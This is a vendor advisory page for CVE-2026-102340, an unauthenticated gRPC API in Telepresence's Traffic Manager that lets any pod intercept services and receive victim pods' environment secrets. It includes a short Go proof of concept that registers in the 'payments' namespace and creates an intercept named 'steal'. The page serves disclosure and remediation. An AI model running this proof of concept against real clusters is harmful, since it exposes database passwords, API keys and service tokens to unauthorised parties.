CVE-2026-102340

CVE-2026-102340 is a high-severity missing authentication for critical function vulnerability in github.com/telepresenceio/telepresence (go), affecting versions < 2.31.0. It is fixed in 2.31.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Telepresence: Traffic Manager gRPC has no auth, any pod claims arbitrary namespace and intercepts services, receiving victim environment secrets

Telepresence's Traffic Manager gRPC API (port 8081) requires no authentication. Any pod with cluster-network access to the Traffic Manager can register as a client in an arbitrary managed namespace and create intercepts against services in that namespace, regardless of Kubernetes RBAC. On interception the victim pod's complete container environment (secrets, tokens, API keys) is delivered to the attacker. Tested on HEAD v2.28.0, commit b2231a4.

Details

The gRPC server is started with no auth interceptor (pkg/grpc/server/server.go). The connection uses plaintext: grpc.WithTransportCredentials(insecure.NewCredentials()).

ArriveAsClient stores the caller-supplied Namespace without verifying the caller is in that namespace. The only gate is whether the namespace is in the Traffic Manager's watchlist (ManagesNamespace):

// cmd/traffic/cmd/manager/service.go:181-201
func (s *service) ArriveAsClient(..., client *rpc.ClientInfo) (*rpc.SessionInfo, error) {
    if !s.State().ManagesNamespace(ctx, client.Namespace) {
        return nil, status.Error(codes.FailedPrecondition, ...)
    }
    // No SAR, no bearer token, no kubeconfig check
    return &rpc.SessionInfo{SessionId: string(s.state.AddClient(client, ...))}, nil
}

CreateIntercept calls managedTargetNamespace() which also only checks ManagesNamespace(target_ns), never that the target equals the client's own registered namespace (service.go:929). A session registered in namespace A can intercept namespace B as long as B is also watched. On interception, the victim pod's full container environment is forwarded via intercept.Environment = rIReq.Environment.

Proof of Concept

From any pod in the cluster:

conn, _ := grpc.NewClient("traffic-manager.ambassador:8081",
    grpc.WithTransportCredentials(insecure.NewCredentials()))
mgr := rpc.NewManagerClient(conn)

session, _ := mgr.ArriveAsClient(ctx, &rpc.ClientInfo{
    Name: "attacker@pod", Namespace: "payments",
    InstallId: uuid.NewString(), Product: "telepresence", Version: "2.20.0",
})

mgr.CreateIntercept(ctx, &rpc.CreateInterceptRequest{
    Session: session,
    InterceptSpec: &rpc.InterceptSpec{
        Name: "steal", Agent: "payments-api", Namespace: "payments",
        Mechanism: "tcp", Client: "attacker@pod",
    },
})

Supplying a namespace not in the TM watchlist returns FailedPrecondition, confirming the only gate is the watchlist check.

Impact

Any pod operator in the cluster can intercept services in namespaces they have no Kubernetes RBAC access to, receiving all traffic and environment variables. In the default cluster-wide Traffic Manager deployment all namespaces are managed.
Secrets mounted as environment variables (database passwords, API keys, service account tokens) are exfiltrated with no audit trail on the victim namespace.

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-102340 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.31.0); upgrading removes the vulnerable code path.

Affected versions

github.com/telepresenceio/telepresence (< 2.31.0)

Security releases

github.com/telepresenceio/telepresence → 2.31.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/telepresenceio/telepresence to 2.31.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-102340? CVE-2026-102340 is a high-severity missing authentication for critical function vulnerability in github.com/telepresenceio/telepresence (go), affecting versions < 2.31.0. It is fixed in 2.31.0. A critical operation is accessible without requiring any authentication.
  2. How severe is CVE-2026-102340? CVE-2026-102340 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/telepresenceio/telepresence are affected by CVE-2026-102340? github.com/telepresenceio/telepresence (go) versions < 2.31.0 is affected.
  4. Is there a fix for CVE-2026-102340? Yes. CVE-2026-102340 is fixed in 2.31.0. Upgrade to this version or later.
  5. Is CVE-2026-102340 exploitable, and should I be worried? Whether CVE-2026-102340 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-102340 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-102340? Upgrade github.com/telepresenceio/telepresence to 2.31.0 or later.

Stop the waste.
Protect your environment with Kodem.